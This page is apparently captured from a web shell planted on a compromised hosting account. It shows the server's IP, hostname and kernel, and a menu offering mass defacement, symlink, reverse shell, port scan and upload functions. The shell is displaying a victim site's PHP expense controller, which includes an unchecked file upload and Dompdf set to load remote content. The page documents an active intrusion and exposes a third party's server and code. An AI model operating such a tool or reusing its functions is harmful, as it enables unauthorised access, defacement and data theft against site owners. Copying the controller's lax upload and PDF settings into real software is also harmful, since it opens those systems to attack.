Tul xxx Tul
User / IP
:
216.73.216.183
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comercial
/
controllers
/
Viewing: Egresos.php
<?php require 'vendor/autoload.php'; use Dompdf\Dompdf; class Egresos extends Controller { private $id_usuario, $id_sucursal; public function __construct() { parent::__construct(); session_start(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } $this->id_usuario = $_SESSION['id_usuario']; $this->id_sucursal = $_SESSION['id_sucursal']; } public function index() { if (!verificar('ver_gastos')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $data['title'] = 'Egresos'; $data['script'] = 'egresos.js'; $this->views->getView('egresos', 'index', $data); } public function listar() { $data = []; if (verificar('ver_gastos')) { $desde = !empty($_GET['desde']) ? $_GET['desde'] : null; $hasta = !empty($_GET['hasta']) ? $_GET['hasta'] : null; $data = $this->model->getEgresos($this->id_sucursal, $desde, $hasta); for ($i = 0; $i < count($data); $i++) { $data[$i]['monto'] = number_format($data[$i]['monto'], 2); $data[$i]['fecha'] = date('Y-m-d H:i', strtotime($data[$i]['fecha'])); if (!empty($data[$i]['foto'])) { $url = BASE_URL . $data[$i]['foto']; $data[$i]['foto'] = '<button class="btn btn-outline-secondary btn-sm" type="button" onclick="verImagenEgreso(\'' . $url . '\')"><i class="fas fa-image"></i></button>'; } else { $data[$i]['foto'] = ''; } $acciones = '<div class="btn-group" role="group">'; if (verificar('crear_gastos')) { $acciones .= '<button class="btn btn-info btn-sm" type="button" onclick="editarEgreso(' . $data[$i]['id'] . ')"><i class="fas fa-edit"></i></button>'; } $acciones .= '<button class="btn btn-secondary btn-sm" type="button" onclick="imprimirEgreso(' . $data[$i]['id'] . ')"><i class="fas fa-print"></i></button>'; if (verificar('eliminar_gastos')) { $acciones .= '<button class="btn btn-danger btn-sm" type="button" onclick="eliminarEgreso(' . $data[$i]['id'] . ')"><i class="fas fa-trash"></i></button>'; } $acciones .= '</div>'; $data[$i]['acciones'] = $acciones; } } echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function resumen() { $response = [ 'ingresos' => 0, 'egresos' => 0, 'utilidad' => 0, 'ingresosDecimal' => '0.00', 'egresosDecimal' => '0.00', 'utilidadDecimal' => '0.00', 'moneda' => MONEDA, ]; if (verificar('ver_gastos')) { $desde = !empty($_GET['desde']) ? $_GET['desde'] : date('Y-m-01'); $hasta = !empty($_GET['hasta']) ? $_GET['hasta'] : date('Y-m-t'); $ingresos = $this->model->getTotalIngresos($this->id_sucursal, $desde, $hasta); $egresos = $this->model->getTotalEgresos($this->id_sucursal, $desde, $hasta); $totalIngresos = (!empty($ingresos['total'])) ? (float)$ingresos['total'] : 0; $totalEgresos = (!empty($egresos['total'])) ? (float)$egresos['total'] : 0; $utilidad = $totalIngresos - $totalEgresos; $response['ingresos'] = number_format($totalIngresos, 2, '.', ''); $response['egresos'] = number_format($totalEgresos, 2, '.', ''); $response['utilidad'] = number_format($utilidad, 2, '.', ''); $response['ingresosDecimal'] = number_format($totalIngresos, 2); $response['egresosDecimal'] = number_format($totalEgresos, 2); $response['utilidadDecimal'] = number_format($utilidad, 2); } echo json_encode($response, JSON_UNESCAPED_UNICODE); die(); } public function editar($id) { if (!verificar('ver_gastos')) { echo json_encode([], JSON_UNESCAPED_UNICODE); die(); } if (!isset($id) || !is_numeric($id)) { echo json_encode([], JSON_UNESCAPED_UNICODE); die(); } $data = $this->model->getEgreso($id, $this->id_sucursal); echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function actualizar() { if (!verificar('crear_gastos')) { echo json_encode(['msg' => 'NO TIENES PERMISOS', 'type' => 'warning']); die(); } if (isset($_POST['id']) && isset($_POST['monto']) && isset($_POST['descripcion'])) { $id = strClean($_POST['id']); $monto = strClean($_POST['monto']); $descripcion = strClean($_POST['descripcion']); if (empty($id) || !is_numeric($id)) { $res = array('msg' => 'ID NO VÁLIDO', 'type' => 'warning'); } elseif (empty($monto)) { $res = array('msg' => 'EL MONTO ES REQUERIDO', 'type' => 'warning'); } elseif (empty($descripcion)) { $res = array('msg' => 'LA DESCRIPCION ES REQUERIDO', 'type' => 'warning'); } else { $egresoActual = $this->model->getEgreso($id, $this->id_sucursal); if (empty($egresoActual)) { $res = array('msg' => 'EGRESO NO ENCONTRADO', 'type' => 'error'); } else { $foto = isset($_FILES['foto']) ? $_FILES['foto'] : null; $destino = $egresoActual['foto']; if ($foto && !empty($foto['name'])) { if (!empty($destino) && file_exists($destino)) { unlink($destino); } $fecha = date('YmdHis'); $destino = 'assets/images/gastos/' . $fecha . '.jpg'; } $data = $this->model->actualizarEgreso($monto, $descripcion, $destino, $id, $this->id_sucursal); if ($data == 1) { if ($foto && !empty($foto['name'])) { move_uploaded_file($foto['tmp_name'], $destino); } $res = array('msg' => 'EGRESO MODIFICADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL MODIFICAR EGRESO', 'type' => 'error'); } } } } else { $res = array('msg' => 'DATOS INCOMPLETOS', 'type' => 'warning'); } echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function eliminar($id) { if (!verificar('eliminar_gastos')) { echo json_encode(['msg' => 'NO TIENES PERMISOS', 'type' => 'error']); die(); } if (!isset($id) || !is_numeric($id)) { echo json_encode(['msg' => 'ID NO VÁLIDO', 'type' => 'error']); die(); } $egreso = $this->model->getEgreso($id, $this->id_sucursal); if (empty($egreso)) { echo json_encode(['msg' => 'EGRESO NO ENCONTRADO', 'type' => 'error']); die(); } $data = $this->model->eliminarEgreso($id, $this->id_sucursal); if ($data == 1) { if (!empty($egreso['foto']) && file_exists($egreso['foto'])) { unlink($egreso['foto']); } $res = array('msg' => 'EGRESO ELIMINADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL ELIMINAR EGRESO', 'type' => 'error'); } echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function ticket($id) { if (!verificar('ver_gastos')) { echo 'NO TIENES PERMISOS'; exit; } if (!isset($id) || !is_numeric($id)) { echo 'ID NO VÁLIDO'; exit; } $egreso = $this->model->getEgresoTicket($id, $this->id_sucursal); if (empty($egreso)) { echo 'EGRESO NO ENCONTRADO'; exit; } $data['title'] = 'Ticket de Egreso'; $data['empresa'] = $this->model->getEmpresa($this->id_sucursal); $data['egreso'] = $egreso; $data['moneda'] = MONEDA; ob_start(); $this->views->getView('egresos', 'ticket', $data); $html = ob_get_clean(); $dompdf = new Dompdf(); $options = $dompdf->getOptions(); $options->set('isJavascriptEnabled', true); $options->set('isRemoteEnabled', true); $dompdf->setOptions($options); $dompdf->loadHtml($html); $ticket = TICKETEGRESO; $width_mm = $ticket['width'] - 10; $height_mm = $ticket['height']; $width_pt = mmToPoints($width_mm); $height_pt = mmToPoints($height_mm); $dompdf->setPaper([0, 0, $width_pt, $height_pt]); $dompdf->render(); $dompdf->stream('ticket_egreso.pdf', ['Attachment' => false]); } }
Coded With 💗 by
0x6ick